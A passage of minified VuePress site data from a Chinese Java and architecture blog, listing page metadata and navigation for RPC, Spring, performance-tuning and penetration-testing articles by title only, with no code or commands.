A3%E7%90%86%E5%8A%9F%E8%83%BD%E5%B1%8F%E8%94%BD%E8%AF%B7%E6%B1%82%E5%8D%8F%E8%AE%AE%E5%AF%B9%E8%B1%A1%E7%9A%84%E7%BB%86%E8%8A%82.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据",frontmatter:{title:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据",pay:"https://articles.zsxq.com/id_r6u3xt22wf67.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{name:"twitter:title",content:"第18章:服务消费者整合动态代理实现直接调用接口返回结果数据"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html",relativePath:"md/middleware/rpc/2022-10-17-《RPC手撸专栏》第18章-服务消费者整合动态代理实现直接调用接口返回结果数据.md",key:"v-5b4b2898",path:"/md/middleware/rpc/2022-10-17-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC18%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E6%95%B4%E5%90%88%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E7%9B%B4%E6%8E%A5%E8%B0%83%E7%94%A8%E6%8E%A5%E5%8F%A3%E8%BF%94%E5%9B%9E%E7%BB%93%E6%9E%9C%E6%95%B0%E6%8D%AE.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"核心类实现关系",slug:"核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第19章:服务消费者动态代理实现异步调用",frontmatter:{title:"第19章:服务消费者动态代理实现异步调用",pay:"https://articles.zsxq.com/id_ciz8m2zcl6nt.html",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第19章:服务消费者动态代理实现异步调用"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{name:"twitter:title",content:"第19章:服务消费者动态代理实现异步调用"},{name:"twitter:url",content:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html",relativePath:"md/middleware/rpc/2022-10-18-《RPC手撸专栏》第19章-服务消费者动态代理实现异步调用.md",key:"v-ec91f966",path:"/md/middleware/rpc/2022-10-18-%E3%80%8ARPC%E6%89%8B%E6%92%B8%E4%B8%93%E6%A0%8F%E3%80%8B%E7%AC%AC19%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E6%B6%88%E8%B4%B9%E8%80%85%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86%E5%AE%9E%E7%8E%B0%E5%BC%82%E6%AD%A5%E8%B0%83%E7%94%A8.html",headers:[{level:2,title:"一、前言",slug:"一、前言"},{level:2,title:"二、目标",slug:"二、目标"},{level:2,title:"三、设计",slug:"三、设计"},{level:2,title:"四、实现",slug:"四、实现"},{level:3,title:"核心类实现关系",slug:"核心类实现关系"},{level:2,title:"查看完整文章",slug:"查看完整文章"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/middleware/threadpool/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/middleware/threadpool/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/middleware/threadpool/default.html",relativePath:"md/middleware/threadpool/default.md",key:"v-caee8a52",path:"/md/middleware/threadpool/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"冰河技术 | 架构师进阶指南",frontmatter:{title:"冰河技术 | 架构师进阶指南",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"冰河技术 | 架构师进阶指南"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/other/guide-to-reading.html"},{name:"twitter:title",content:"冰河技术 | 架构师进阶指南"},{name:"twitter:url",content:"/md/other/guide-to-reading.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/other/guide-to-reading.html",relativePath:"md/other/guide-to-reading.md",key:"v-7c8288a5",path:"/md/other/guide-to-reading.html",headers:[{level:2,title:"关于我",slug:"关于我"},{level:2,title:"本站知识总览",slug:"本站知识总览"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"},{level:2,title:"开源文档说明",slug:"开源文档说明"},{level:3,title:"协议",slug:"协议"},{level:3,title:"注意事项",slug:"注意事项"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/jvm/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/jvm/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/jvm/default.html",relativePath:"md/performance/jvm/default.md",key:"v-96e2d6ce",path:"/md/performance/jvm/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/mysql/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/mysql/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/mysql/default.html",relativePath:"md/performance/mysql/default.md",key:"v-3c89ee52",path:"/md/performance/mysql/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/system/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/system/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/system/default.html",relativePath:"md/performance/system/default.md",key:"v-46711436",path:"/md/performance/system/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/performance/tomcat/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/performance/tomcat/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/performance/tomcat/default.html",relativePath:"md/performance/tomcat/default.md",key:"v-1b2fc345",path:"/md/performance/tomcat/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/project/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/project/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/project/default.html",relativePath:"md/project/default.md",key:"v-33a1c22a",path:"/md/project/default.html",lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在 **冰河技术** 微信公众号前面的文章中,我们介绍了如何使用注解来自动装配Spring组件。之前将的都是在来的字段上添加注解,那有没有什么方法可以实现方法、构造器位置的自动装配吗?今天我们就一起来探讨下如何实现方法、构造器位置的自动装配。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何实现方法、构造器位置的自动装配?我这样回答让面试官很满意!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html",relativePath:"md/core/spring/ioc/2022-04-04-027-如何实现方法、构造器位置的自动装配.md",key:"v-2dae6d1e",path:"/md/core/spring/ioc/2022-04-04-027-%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0%E6%96%B9%E6%B3%95%E3%80%81%E6%9E%84%E9%80%A0%E5%99%A8%E4%BD%8D%E7%BD%AE%E7%9A%84%E8%87%AA%E5%8A%A8%E8%A3%85%E9%85%8D.html",headers:[{level:2,title:"再谈@Autowired注解",slug:"再谈-autowired注解"},{level:2,title:"项目案例",slug:"项目案例"},{level:3,title:"案例准备",slug:"案例准备"},{level:3,title:"标注在实例方法上",slug:"标注在实例方法上"},{level:3,title:"标注在构造方法上",slug:"标注在构造方法上"},{level:3,title:"标注在参数上",slug:"标注在参数上"},{level:3,title:"标注在方法位置",slug:"标注在方法位置"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,有关于Spring的面试中,Spring的循环依赖问题是必问的知识点,你回答的不好,就会被直接pass掉。即使你没被pass掉,你也会比那些知道如何解决Spring循环依赖问题的同事薪资低,这就是现实。所以,我们今天就一起来探讨下如何解决Spring循环依赖的问题。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{name:"twitter:title",content:"【Spring】如何解决Spring的循环依赖问题?这道面试题助我拿到了Offer!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html",relativePath:"md/core/spring/ioc/2022-04-04-028-如何解决Spring的循环依赖问题.md",key:"v-95e4fa80",path:"/md/core/spring/ioc/2022-04-04-028-%E5%A6%82%E4%BD%95%E8%A7%A3%E5%86%B3Spring%E7%9A%84%E5%BE%AA%E7%8E%AF%E4%BE%9D%E8%B5%96%E9%97%AE%E9%A2%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是循环依赖?",slug:"什么是循环依赖"},{level:2,title:"怎么检测是否存在循环依赖?",slug:"怎么检测是否存在循环依赖"},{level:2,title:"三种循环依赖",slug:"三种循环依赖"},{level:3,title:"1.构造器的循环依赖。【这个Spring解决不了】",slug:"_1-构造器的循环依赖。【这个spring解决不了】"},{level:3,title:"2.setter方式单例,默认方式",slug:"_2-setter方式单例-默认方式"},{level:3,title:"3.setter方式原型,prototype",slug:"_3-setter方式原型-prototype"},{level:2,title:"Spring怎么解决循环依赖",slug:"spring怎么解决循环依赖"},{level:2,title:"总结",slug:"总结"},{level:2,title:"重磅福利",slug:"重磅福利"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"Metasploit渗透MSSQL",frontmatter:{layout:"post",category:"binghe-code-hack",title:"Metasploit渗透MSSQL",tagline:"by 冰河",tag:["hack","binghe-code-hack"],excerpt:"Metasploit渗透MSSQL",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"Metasploit渗透MSSQL"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html"},{name:"twitter:title",content:"Metasploit渗透MSSQL"},{name:"twitter:url",content:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html",relativePath:"md/hack/tools/2022-04-17-038-Metasploit渗透MSSQL.md",key:"v-a6b936c0",path:"/md/hack/tools/2022-04-17-038-Metasploit%E6%B8%97%E9%80%8FMSSQL.html",headers:[{level:2,title:"使用NMAP对MSSQL进行踩点",slug:"使用nmap对mssql进行踩点"},{level:2,title:"使用Metasploit的模块进行扫描",slug:"使用metasploit的模块进行扫描"},{level:2,title:"爆破MSSQL密码",slug:"爆破mssql密码"},{level:2,title:"查找/捕获服务器的口令",slug:"查找-捕获服务器的口令"},{level:2,title:"浏览MSSQL",slug:"浏览mssql"},{level:2,title:"重新载入xp_cmd功能",slug:"重新载入xp-cmd功能"},{level:2,title:"运行SQL查询命令",slug:"运行sql查询命令"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3}],themeConfig:{docsRepo:"binghe001/BingheGuide",docsDir:"docs",docsBranch:"master",editLinks:!0,sidebarDepth:0,locales:{"/":{label:"简体中文",selectText:"Languages",editLinkText:"在 GitHub 上编辑此页",lastUpdated:"上次更新",nav:[{text:"导读",link:"/md/other/guide-to-reading.md"},{text:"核心技术",items:[{text:"Java核心技术",items:[{text:"Java基础",link:"/md/core/java/basics/2022-04-28-全网最全正则表达式总结.md"},{text:"Java进阶",link:"/md/core/java/advanced/default.md"},{text:"Java高级",link:"/md/core/java/senior/default.md"},{text:"Java8新特性",link:"/md/core/java/java8/2022-03-31-001-Java8有哪些新特性呢?.md"}]},{text:"Spring核心技术",items:[{text:"IOC核心技术",link:"/md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md"},{text:"AOP核心技术",link:"/md/core/spring/aop/default.md"}]},{text:"JVM核心技术",items:[{text:"JVM调优技术",link:"/md/core/jvm/2022-04-18-001-JVM调优的几种场景.md"}]},{text:"MySQL核心技术",items:[{text:"MySQL基础篇",link:"/md/core/mysql/base/2022-08-25-MySQL索引底层技术.md"}]}]},{text:"性能调优",items:[{text:"JVM性能调优",link:"/md/performance/jvm/default.md"},{text:"Tomcat性能调优",link:"/md/performance/tomcat/default.md"},{text:"MySQL性能调优",link:"/md/performance/mysql/default.md"},{text:"操作系统性能调优",link:"/md/performance/system/default.md"}]},{text:"并发编程",items:[{text:"底层技术",link:"/md/concurrent/bottom/default.md"},{text:"源码分析",link:"/md/concurrent/source/2020-03-30-001-一文搞懂线程与多线程.md"},{text:"基础案例",link:"/md/concurrent/basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md"},{text:"实战案例",link:"/md/concurrent/ActualCombat/default.md"},{text:"面试",link:"/md/concurrent/interview/default.md"},{text:"系统架构",link:"/md/concurrent/framework/default.md"}]},{text:"框架源码",items:[{text:"Spring源码",link:"/md/frame/spring/default.md"},{text:"SpringMVC源码",link:"/md/frame/springmvc/default.md"},{text:"MyBatis源码",link:"/md/frame/mybatis/default.md"},{text:"Dubbo源码",link:"/md/frame/dubbo/default.md"}]},{text:"分布式",items:[{text:"缓存技术",items:[{text:"Redis",link:"/md/distributed/cache/default.md"}]},{text:"服务注册发现",items:[{text:"Zookeeper",link:"/md/distributed/zookeeper/default.md"}]},{text:"消息中间件",items:[{text:"RabbitMQ",link:"/md/distributed/mq/rabbitmq/default.md"},{text:"RocketMQ",link:"/md/distributed/mq/rocketmq/default.md"},{text:"Kafka",link:"/md/distributed/mq/kafka/default.md"}]},{text:"网络通信",items:[{text:"Netty",link:"/md/distributed/netty/default.md"}]},{text:"远程调用",items:[{text:"Dubbo",link:"/md/distributed/dubbo/default.md"}]},{text:"数据库",items:[{text:"MongoDB",link:"/md/distributed/mongodb/default.md"}]},{text:"搜索引擎",items:[{text:"ElasticSearch",link:"/md/distributed/es/default.md"}]}]},{text:"🔥🔥🔥微服务",items:[{text:"SpringBoot",link:"/md/microservices/springboot/default.md"},{text:"🔥🔥🔥SpringCloudAlibaba",link:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md"}]},{text:"🔥🔥🔥中间件",items:[{text:"🔥🔥🔥《RPC手撸专栏》",link:"/md/middleware/rpc/2022-08-24-我设计了一款TPS百万级别的RPC框架.md"},{text:"《字节码编程》",link:"/md/middleware/bytecode/2022-04-11-001-工作多年的你依然重复做着CRUD-是否接触过这种技术.md"},{text:"《手写线程池》",link:"/md/middleware/threadpool/default.md"},{text:"《分布式限流》",link:"/md/middleware/limiter/default.md"},{text:"《开源项目》",link:"/md/middleware/independent/default.md"}]},{text:"🔥🔥🔥项目实战",items:[{text:"🔥🔥🔥SpringCloud Alibaba实战",link:"/md/microservices/springcloudalibaba/2022-04-02-SpringCloudAlibaba专栏开篇.md"}]},{text:"渗透技术",items:[{text:"log4j重大漏洞",link:"/md/hack/log4j/2022-05-30-冰河连夜复现了Log4j最新重大漏洞.md"},{text:"基础环境篇",link:"/md/hack/environment/2022-04-17-001-安装Kali系统.md"},{text:"渗透工具篇",link:"/md/hack/tools/2022-04-17-001-使用Easy-Creds工具攻击无线网络.md"},{text:"木马篇",link:"/md/hack/horse/2022-05-02-001-各种一句话木马大全.md"},{text:"SQL注入篇",link:"/md/hack/sql/2022-05-02-001-sqli-labs-master下载与安装.md"},{text:"漏洞拿Shell篇",link:"/md/hack/shell/2022-05-02-001-各种解析漏洞拿shell.md"},{text:"暴力破解篇",link:"/md/hack/crack/2022-05-02-001-使用rarcrack暴力破解RAR-ZIP-7Z压缩包.md"},{text:"渗透脚本篇",link:"/md/hack/bash/2022-05-02-001-3389脚本开启代码(vbs版).md"},{text:"数据与系统提权篇",link:"/md/hack/raising/2022-05-02-001-数据库提权.md"},{text:"客户端渗透篇",link:"/md/hack/client/2022-05-02-001-浏览器渗透.md"},{text:"社会工程学",link:"/md/hack/sociology/2022-05-02-001-Metasploit之社会工程学工具包.md"},{text:"问题记录篇",link:"/md/hack/question/2022-05-02-001-HTTP错误4031禁止访问-执行访问被拒绝.md"}]},{text:"面试必问系列",link:"/md/interview/2022-04-18-001-面试必问-聊聊JVM性能调优.md"},{text:"🔥🔥🔥冰河指南",link:"/md/all/all.md"},{text:"📚PDF",items:[{text:"出版图书",items:[{text:"《深入理解高并发编程:核心原理与案例实战》",link:"/md/knowledge/book/2022-06-17-深入理解高并发编程.md"},{text:"《深入理解分布式事务:原理与实战》",link:"/md/knowledge/book/2022-03-29-深入理解分布式事务.md"},{text:"《MySQL技术大全:开发、优化与运维实战》",link:"/md/knowledge/book/2022-03-29-MySQL技术大全.md"},{text:"《海量数据处理与大数据技术实战》",link:"/md/knowledge/book/2022-03-29-海量数据处理与大数据技术实战.md"}]},{text:"电子书籍",items:[{text:"《深入理解高并发编程(第1版)》",link:"/md/knowledge/pdf/2022-07-25-深入理解高并发编程-第1版.md"},{text:"《SpringCloud Alibaba实战》",link:"/md/knowledge/pdf/2022-07-25-十大篇章-共26个章节-332页-打包发布.md"},{text:"《冰河的渗透实战笔记》",link:"/md/knowledge/pdf/2022-03-30-《冰河的渗透实战笔记》电子书,442页,37万字,正式发布.md"}]}]},{text:"关于",items:[{text:"关于自己",link:"/md/about/me/about-me.md"},{text:"关于学习",link:"/md/about/study/default.md"},{text:"关于职场",link:"/md/about/job/default.md"}]},{text:"B站",link:"https://space.bilibili.com/517638832"},{text:"Github",link:"https://github.com/binghe001/BingheGuide"}],sidebar:{"/md/other/":[{title:"阅读指南",collapsable:!1,sidebarDepth:2,children:["guide-to-reading.md"]}],"/md/core/java/":[{title:"Java基础",collapsable:!1,sidebarDepth:0,children:["basics/2022-04-28-全网最全正则表达式总结.md"]},{title:"Java进阶",collapsable:!1,sidebarDepth:0,children:["advanced/default.md"]},{title:"Java高级",collapsable:!1,sidebarDepth:0,children:["senior/default.md"]},{title:"Java8新特性",collapsable:!1,sidebarDepth:0,children:["java8/2022-03-31-001-Java8有哪些新特性呢?.md","java8/2022-03-31-002-你知道Java8为什么引入Lambda表达式吗.md","java8/2022-03-31-003-Lambda表达式基础语法,都在这儿了.md","java8/2022-03-31-004-Lambda表达式典型案例,你想要的的都在这儿了.md","java8/2022-03-31-005-一文搞懂函数式接口.md","java8/2022-03-31-006-知识点总结,你都会了吗.md","java8/2022-03-31-007-方法引用和构造器引用.md","java8/2022-03-31-008-关于Java8的Stream API,都在这儿了.md","java8/2022-03-31-009-强大的Stream API,你了解吗.md","java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md","java8/2022-03-31-011-Java8中的Stream API有哪些终止操作.md","java8/2022-03-31-012-关于并行流与串行流,你必须掌握这些.md","java8/2022-03-31-013-不了解Optional类,简历上别说你懂Java8.md","java8/2022-03-31-014-接口中的默认方法和静态方法,你都掌握了吗.md","java8/2022-03-31-015-关于Java8中的日期时间API,你需要掌握这些.md","java8/2022-03-31-016-重复注解与类型注解,你真的学会了吗.md","java8/2022-04-01-001-Java8新特性总结.md"]}],"/md/performance/":[{title:"JVM性能调优",collapsable:!1,sidebarDepth:0,children:["jvm/default.md"]},{title:"Tomcat性能调优",collapsable:!1,sidebarDepth:0,children:["tomcat/default.md"]},{title:"MySQL性能调优",collapsable:!1,sidebarDepth:0,children:["mysql/default.md"]},{title:"操作系统性能调优",collapsable:!1,sidebarDepth:0,children:["system/default.md"]}],"/md/concurrent/":[{title:"底层技术",collapsable:!1,sidebarDepth:0,children:["bottom/default.md"]},{title:"源码分析",collapsable:!1,sidebarDepth:0,children:["source/2020-03-30-001-一文搞懂线程与多线程.md","source/2020-03-30-002-如何确保线程按照我们想要的顺序执行.md","source/2020-03-30-003-深入解析Callable接口.md","source/2020-03-30-004-两种异步模型与深度解析Future接口.md","source/2020-03-30-005-SimpleDateFormat类到底为啥不是线程安全的?(附六种解决方案,建议收藏).md","source/2020-03-30-006-不得不说的线程池与ThreadPoolExecutor类浅析.md","source/2020-03-30-007-深度解析线程池中那些重要的顶层接口和抽象类.md","source/2020-03-30-008-从源码角度分析创建线程池究竟有哪些方式.md","source/2020-03-30-009-通过源码深度解析ThreadPoolExecutor类是如何保证线程池正确运行的.md","source/2020-03-30-010-通过ThreadPoolExecutor类的源码深度解析线程池执行任务的核心流程.md","source/2020-03-30-011-通过源码深度分析线程池中Worker线程的执行流程.md","source/2020-03-30-012-从源码角度深度解析线程池是如何实现优雅退出的.md","source/2020-03-30-013-ScheduledThreadPoolExecutor与Timer的区别和简单示例.md","source/2020-03-30-014-深度解析ScheduledThreadPoolExecutor类的源代码.md","source/2020-03-30-015-浅谈AQS中的CountDownLatch、Semaphore与CyclicBarrier.md","source/2020-03-30-016-浅谈AQS中的ReentrantLock、ReentrantReadWriteLock、StampedLock与Condition.md","source/2020-03-30-017-朋友去面试竟然栽在了Thread类的源码上.md","source/2020-03-30-018-如何使用Java7提供的ForkJoin框架实现高并发程序?.md"]},{title:"基础案例",collapsable:!1,sidebarDepth:0,children:["basics/2020-03-30-001-明明中断了线程,却为何不起作用呢?.md","basics/2020-03-30-002-由InterruptedException异常引发的思考.md","basics/2020-03-30-003-要想学好并发编程,关键是要理解这三个核心问题.md","basics/2020-03-30-004-导致并发编程频繁出问题的“幕后黑手”.md","basics/2020-03-30-005-解密诡异并发问题的第一个幕后黑手——可见性问题.md","basics/2020-03-30-006-解密导致并发问题的第二个幕后黑手——原子性问题.md","basics/2020-03-30-007-解密导致并发问题的第三个幕后黑手——有序性问题.md","basics/2020-03-30-008-一文秒懂Happens-Before原则.md"]},{title:"实战案例",collapsable:!1,sidebarDepth:0,children:["ActualCombat/default.md"]},{title:"面试",collapsable:!1,sidebarDepth:0,children:["interview/default.md"]},{title:"系统架构",collapsable:!1,sidebarDepth:0,children:["framework/default.md"]}],"/md/frame/":[{title:"Spring源码",collapsable:!1,sidebarDepth:0,children:["spring/default.md"]},{title:"SpringMVC源码",